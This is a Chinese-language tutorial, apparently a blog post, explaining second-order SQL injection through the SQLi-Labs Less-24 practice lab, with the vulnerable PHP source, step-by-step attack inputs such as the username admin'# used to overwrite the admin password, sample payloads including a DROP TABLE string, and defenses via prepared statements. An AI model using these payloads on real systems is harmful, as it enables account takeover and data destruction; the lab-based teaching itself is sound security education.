2026-08-03
Mysql注入
00
请注意,本文编写于 103 天前,最后修改于 103 天前,其中某些信息可能已经过时。

目录

一、什么是二次注入
二、和一次注入的区别
三、典型业务场景
四、Less-24 源码分析
4.1 注册逻辑(login_create.php)
4.2 修改密码逻辑(pass_change.php)
4.3 登录逻辑(login.php)
五、攻击流程详解(Less-24)
Step 1:注册恶意用户名
Step 2:登录
Step 3:修改密码
六、为什么第一次注入不了,第二次可以?
6.1 注册时(第一次)
被双引号包裹
- SQL 语法完全正确,正常插入,此时没有注入
6.2 修改密码时(第二次)
七、二次注入的本质
八、常用 SQL 语句与函数
8.1 涉及的 SQL 语句类型
|
8.2 涉及的 PHP 函数
九、防御方法
9.1 根本防御:参数化查询(Prepared Statements)
9.2 二次防御:每次使用都过滤
9.3 最佳实践:ORM 框架
十、实战中的二次注入场景
| 修改密码 | 修改 admin 密码 |
| 后台审核展示 | 删库 |
十一、Less-24 通关流程图
十二、记忆口诀

Level24,二次注入,原理


一、什么是二次注入

第一次输入的恶意数据被"安全地"存入数据库(经过了转义/过滤),第二次从数据库中取出该数据并拼接到新的 SQL 语句中时,没有再次过滤,从而触发注入。

核心特征:

  • 不是立即触发:第一次输入时不会报错,也不会注入成功
  • 延迟触发:等到第二次查询/使用这条数据时才爆发
  • 隐蔽性强:常规扫描工具很难发现,因为第一次请求看起来完全正常

二、和一次注入的区别

对比项一次注入(First-Order)二次注入(Second-Order)
触发时机第一次请求立即触发第一次存,第二次用才触发
过滤情况第一次没过滤或过滤被绕过第一次过滤了,但第二次没过滤
检测难度容易被扫描器发现很难发现,需要业务逻辑配合
典型场景搜索框、URL 参数注册用户名、留言板、昵称修改
SQLi-LabsLess-1~22Less-24

三、典型业务场景

二次注入最常见的场景:

1. 用户注册 用户名: admin'# 密码: 123456 → 服务器过滤后存入数据库(数据库里存的就是 admin'#) 2. 用户登录后修改密码 → 服务器从数据库读取用户名: admin'# → 直接拼进 UPDATE 语句 → 注入触发!

四、Less-24 源码分析

Less-24 是 SQLi-Labs 专门练习二次注入的关卡,包含两个文件:

  • login.php —— 登录
  • login_create.php —— 注册新用户
  • pass_change.php —— 修改密码

4.1 注册逻辑(login_create.php)

php
<?php include("../sql-connections/sql-connect.php"); if (isset($_POST['submit'])) { //$username= $_POST['username'] ; $username= mysql_escape_string($_POST['username']) ; $pass= mysql_escape_string($_POST['password']); $re_pass= mysql_escape_string($_POST['re_password']); $sql = "select count(*) from users where username='$username'"; $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( '); $row = mysql_fetch_row($res); if (!$row[0]== 0) { // 用户名已存在 } else { if ($pass==$re_pass) { $sql = "insert into users ( username, password) values(\"$username\", \"$pass\")"; mysql_query($sql) or die('Error Creating your user account, : '.mysql_error()); } } } ?>

关键点:

  • 注册时 $username 使用了 mysql_escape_string() 过滤
  • 过滤后存入数据库的是原始值(如 admin'#),因为 SQL 转义符 \ 不会被存储
  • 注册时 SQL 语法正确,不会报错,正常存入数据库

4.2 修改密码逻辑(pass_change.php)

php
<?php session_start(); include("../sql-connections/sql-connect.php"); if (isset($_POST['submit'])) { $username= $_SESSION["username"]; $curr_pass= mysql_real_escape_string($_POST['current_password']); $pass= mysql_real_escape_string($_POST['password']); $re_pass= mysql_real_escape_string($_POST['re_password']); if($pass==$re_pass) { $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "; $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( '); $row = mysql_affected_rows(); // ... } } ?>

核心漏洞:

php
$username= $_SESSION["username"]; // ← 从 Session 读,而 Session 来自数据库 // 数据库里存的是 admin'# // 所以 $username = "admin'#" // ❌ 取出后没有再次转义,直接拼进 SQL!
sql
UPDATE users SET PASSWORD='$pass' WHERE username='admin'#' AND password='$curr_pass' -- ↑ admin'# 从数据库取出 -- ↑ # 注释掉后面的 AND password=...

注意:pass_change.php 使用了 or die('固定字符串'),没有 mysql_error() 报错回显,因此不能直接通过报错注入爆数据,只能通过修改密码的方式利用。

提示

只注释掉它后面的内容,前面的 SET PASSWORD='hacked123' 完全不受影响。


4.3 登录逻辑(login.php)

php
function sqllogin(){ $username = mysql_real_escape_string($_POST["login_user"]); $password = mysql_real_escape_string($_POST["login_password"]); $sql = "SELECT * FROM users WHERE username='$username' and password='$password'"; $res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( '); $row = mysql_fetch_row($res); if ($row[1]) { return $row[1]; // ← 返回数据库里的 username 字段(原始值!) } else { return 0; } } $login = sqllogin(); if (!$login== 0) { $_SESSION["username"] = $login; // ← Session 里存入的是数据库原始值 admin'# setcookie("Auth", 1, time()+3600); header('Location: logged-in.php'); }

关键点:$row[1] 是从数据库读出的原始 username(如 admin'#),原封不动放进 Session,没有经过二次处理。


五、攻击流程详解(Less-24)

Step 1:注册恶意用户名

访问: http://localhost/sqli-labs-master/Less-24/login_create.php 用户名: admin'# 密码: 123456 确认密码: 123456

服务器执行的 SQL:

sql
-- 检查用户名是否存在 select count(*) from users where username='admin\'#' -- 返回 0,用户名不存在 -- 插入新用户 insert into users ( username, password) values("admin\'#", "123456") -- 数据库里存的是: username='admin'#', password='123456' -- (反斜杠是 SQL 转义符,实际存储时不保留)

结果:注册成功,页面显示 "New User created"


Step 2:登录

用户名: admin'# 密码: 123456

图片.png这里更改完密码后登录原账号还是原来的密码 服务器验证:

sql
SELECT * FROM users WHERE username='admin\'#' and password='123456' -- SQL 解析时,'admin\'#' 被解析为 admin'#(转义后的单引号就是普通单引号) -- 与数据库中存储的 username='admin'# 完全匹配 -- 查询成功,返回 $row[1] = 'admin'#'

登录后:$_SESSION['username'] = 'admin'#


Step 3:修改密码

当前密码: 123456 新密码: hacked123 确认新密码: hacked123

这里更改完密码后登录原账号还是原来的密码 图片.png 服务器执行的 SQL:

sql
UPDATE users SET PASSWORD='hacked123' WHERE username='admin'#' AND password='123456' -- ↑ # 注释掉后面的 AND password='123456' -- 实际执行: UPDATE users SET PASSWORD='hacked123' WHERE username='admin'

结果:所有 username='admin' 的密码都被改成了 hacked123!

包括真正的 admin 用户 图片.png

图片.png

六、为什么第一次注入不了,第二次可以?

6.1 注册时(第一次)

sql
insert into users ( username, password) values("admin\'#", "123456")
  • admin\'# 被双引号包裹
  • 转义后的 \' 在 SQL 字符串中就是普通单引号
  • 数据库实际存储:username='admin'#
  • SQL 语法完全正确,正常插入,此时没有注入

6.2 修改密码时(第二次)

sql
UPDATE users SET PASSWORD='xxx' WHERE username='admin'#' AND password='yyy' -- ↑ 这里 admin'# 不再被引号包裹! -- 它本身就是拼接进去的字符串值 -- 但包含了 ' 和 # -- ' 闭合了前面的引号 -- # 注释掉了后面

第一次是"数据",第二次变成了"代码"的一部分!


七、二次注入的本质

用户输入: admin'# ↓ 第一次处理(注册): mysql_escape_string 转义后存入数据库 ↓ 数据库中存储: username = 'admin'#' ↓ 第二次取出使用(改密码): 从 Session 读取,作为"代码"拼进 SQL ↓ SQL 语义改变: 'admin' 变成 admin,# 变成注释符 ↓ 注入成功!

八、常用 SQL 语句与函数

8.1 涉及的 SQL 语句类型

语句类型在二次注入中的角色示例
INSERT第一次存储恶意数据INSERT INTO users VALUES ('admin'#', 'pass')
SELECT第二次读取数据SELECT username FROM users WHERE id=1
UPDATE第二次触发注入UPDATE users SET pass='x' WHERE username='admin'#
DELETE也可能触发DELETE FROM logs WHERE user='admin'#'

8.2 涉及的 PHP 函数

函数作用为什么防不了二次注入
mysql_real_escape_string()转义特殊字符第一次转义后存入 DB,但第二次从 DB 取出时不会自动转义
mysql_escape_string()转义特殊字符(不检查连接字符集)同上,只防一次,不防二次
addslashes()加反斜杠转义同上,只防一次,不防二次
intval()转整数对字符串用户名无效
htmlspecialchars()转 HTML 实体防 XSS,不防 SQL 注入

九、防御方法

9.1 根本防御:参数化查询(Prepared Statements)

php
// ❌ 错误:拼接 SQL $sql = "UPDATE users SET password='$new_pass' WHERE username='$username'"; // ✅ 正确:参数化查询 $stmt = $pdo->prepare("UPDATE users SET password=? WHERE username=?"); $stmt->execute([$new_pass, $username]);

参数化查询把"数据"和"代码"彻底分离,即使 $username 是 admin'#,也只会被当成纯数据处理。

9.2 二次防御:每次使用都过滤

php
// 从数据库取出后,再次转义! $username = mysql_real_escape_string($_SESSION['username']); $sql = "UPDATE users SET password='$new_pass' WHERE username='$username'";

但这不是最佳实践,容易遗漏,且代码冗余。

9.3 最佳实践:ORM 框架

使用 Laravel Eloquent、Django ORM 等框架,底层自动参数化,从根本上杜绝二次注入。


十、实战中的二次注入场景

场景第一次操作第二次操作危害
用户注册/改密注册 admin'#修改密码修改 admin 密码
昵称/签名修改设置昵称为 ' OR '1'='1后台统计查询越权查看数据
留言板/评论留言 '; DROP TABLE users; #后台审核展示删库
文件上传记录文件名包含 '后台按文件名查询注入
API 参数缓存参数存入缓存定时任务读取执行注入

十一、Less-24 通关流程图

注册页面 (login_create.php) ↓ 输入用户名: admin'# 输入密码: 123456 ↓ mysql_escape_string 转义 → admin\'# ↓ insert ... values("admin\'#", "123456") ↓ 数据库存储: username='admin'#', password='123456' ↓ 登录页面 (login.php) ↓ 用 admin'# / 123456 登录 ↓ mysql_real_escape_string → admin\'# ↓ SELECT * FROM users WHERE username='admin\'#' and password='123456' ↓ SQL解析: username='admin'#', password='123456' → 匹配成功! ↓ $row[1] = 'admin'#', $_SESSION["username"] = 'admin'#' ↓ 修改密码页面 (pass_change.php) ↓ $username = $_SESSION["username"] // = "admin'#" -- ❌ 没有转义!直接拼进SQL! ↓ UPDATE users SET PASSWORD='hacked123' WHERE username='admin'#' AND password='123456' ↓ # 注释掉 AND 条件 ↓ 实际执行: UPDATE users SET PASSWORD='hacked123' WHERE username='admin' ↓ admin 的密码被修改! ↓ 用 admin / hacked123 登录真正的 admin 账户

十二、记忆口诀

二次注入不一般,第一次存第二次算 注册个 admin'#,数据库里存得安 改密码时取出来,拼进 UPDATE 就完蛋 ' 闭合 # 注释,条件后面全删完 参数化查询是根本,数据代码要分家